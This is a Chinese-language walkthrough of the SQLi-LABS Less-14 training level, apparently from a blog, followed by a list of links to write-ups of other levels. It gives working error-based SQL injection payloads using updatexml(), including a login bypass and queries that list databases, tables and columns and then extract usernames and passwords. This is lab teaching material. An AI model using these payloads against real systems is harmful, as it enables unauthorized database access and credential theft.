SQLi LABS Less-14

简介: 第十四关请求方式为 POST请求 , 注入点为 双引号字符串型 , 注入方式为 报错注入本次报错注入使用 updatexml()

第十四关请求方式为 POST请求 , 注入点为 双引号字符串型 , 注入方式为 报错注入

本次报错注入使用 updatexml()

updatexml(1,'~',3)  
  -- 第二个参数包含特殊符号时,会报错,并将参数内容返回在报错内容中
  -- 返回的结果不超过32个字符

image.png

第一步,判断注入方式

老规矩 , 先给一个单引号' , 用户名输入 a',密码随便输入 ,  没啥反应 , 说明单引号对后端的SQL不会产生影响


image.png


再试试双引号" , 用户名输入 a" , 密码随便输入


image.png


数据库报错了 , 看来后端SQL包裹参数用的是双引号 或双引号加括号 , 既然有报错 , 那就用报错注入吧 , 用户名输入一下代码 , 密码随便输入

a" or true #

通过 true , 使SQL恒成立 , 登录成功 , 固 双引号字符串型注入

image.png

源码如下

image.png

使用updatexml() 判断 数据库是否报错

a" and updatexml(1,'~',3) #

image.png

数据库正常显示错误 , 接下来利用错误注入进行脱库


updatexml() 的第二个参数如果包含特殊字符 , 数据库会报错,并返回第二个参数的内容 , 错误注入依据的就是这个特点


第二步,获取所有数据库

查询information_schema默认数据库的schemata表的schema_name字段 , 该字段保存了所有的数据库名

a" and updatexml(1,concat('~',
(select schema_name
from information_schema.schemata limit 1,1))
,3) #

此处的concat() , 将结果拼接上'~' 使其报错 从而数据库报错

limit 分页 以此查看所有数据库

image.png

查看当前使用的数据库

a" and updatexml(1,concat('~',
(database()))
,3) #

image.png

可知 , 当前使用的数据库为 security , 下一步,查询security数据库的所有表

第三步,获取所有表

查询information_schema默认数据库的tables表的table_name字段 , 该字段保存了所以的表名

a" and updatexml(1,concat('~',
(select table_name
from information_schema.tables
where table_schema='security' limit 3,1))
,3) #

由于updatexml() 显示字符串长多不超过32个字符 , 此处使用limit分页 以此查看所有表名


image.png


users表为用户表 , 下一步查询users表的所有字段


第四步,获取所有字段

查询information_schema默认数据库的columns表的column_name字段 , 该字段保存了所有字段名

a" and updatexml(1,concat('~',
(select group_concat(column_name)
from information_schema.columns
where table_schema='security'
and table_name='users'))
,3) #

image.png

至此可知 , 数据库 security, 表 users, 字段 id,username,password , 下一步,根据这些信息获取账号和密码

第五步,获取账号密码

1.
a" and updatexml(1,concat('~',
substr((select group_concat(username,'~',password)
from security.users),1,31))
,3) #

updatexml() 返回的字符串长度最多为32个字符 , 此处用substr() 每次截取31个字符 , 直至截取完所有数据

image.png

相关文章
|
7月前
|
安全 数据库 数据安全/隐私保护
sqli-labs第一关
sqli-labs第一关
|
SQL 数据库
SQLi LABS Less-26a
第26a关使用GET请求传递参数,在url地址栏中构造payload即可 源码中过滤了参数中的or,and,/*,--,#,空格,斜线,我们想办法绕过即可
325 0
SQLi LABS Less-26a
SQLi LABS Less-27
第27关使用GET请求传递参数,在url中构造payload即可 源码中过滤了/*,--,#,空格,select,union,需要考虑一下怎么绕过这些规则
346 0
SQLi LABS Less-27
|
SQL 数据库 数据安全/隐私保护
SQLi LABS Less-16
第16关使用POST请求提交参数,可以使用代理工具抓包或直接在输入框中修改参数 后端代码根据用户输入账号和密码去数据库中查询,查询成功则返回登录成功,否则返回登录失败,页面没有显示的数据,SQL语句中使用了错误抑制符@来限制数据库的报错信息,因此不能使用联合注入或报错注入,推荐使用布尔盲注,源码如下
151 0
SQLi LABS Less-16
|
SQL 数据库
SQLi LABS Less-27a
第27关使用GET请求提交参数,在url地址栏中构造payload即可 后端源码中过滤了/*,--,#,空格,select,union,需要考虑一下怎么绕过这些规则
181 0
SQLi LABS Less-27a
|
数据库 数据安全/隐私保护
SQLi LABS Less-19
第19关使用POST请求提交参数,后端对用户名和密码进行了特殊字符转译,难度较大源码如下
185 0
SQLi LABS Less-19
SQLi LABS Less-23
第23关使用GET请求传递参数,在url地址栏构造payload即可 此关卡对注释符号进行了过滤,因此不能使用注释符,可以使用单引号闭合,使SQL的语法结构成立
151 0
SQLi LABS Less-23
|
SQL 数据库 数据安全/隐私保护
SQLi LABS Less-22
2关使用POST请求提交参数,对账号和密码中的特殊字符执行了转译的操作,难度较大
111 0
SQLi LABS Less-22
SQLi LABS Less-31
第31关的源码中并未对参数做过多的过滤,只是在参数两边拼接了双引号和括号
156 0
SQLi LABS Less-31
SQLi LABS Less-30
第30关使用GET请求传递参数,在url中构造payload即可 后端源码中并没有做什么过滤,只是在参数两边添加了双引号
144 0
SQLi LABS Less-30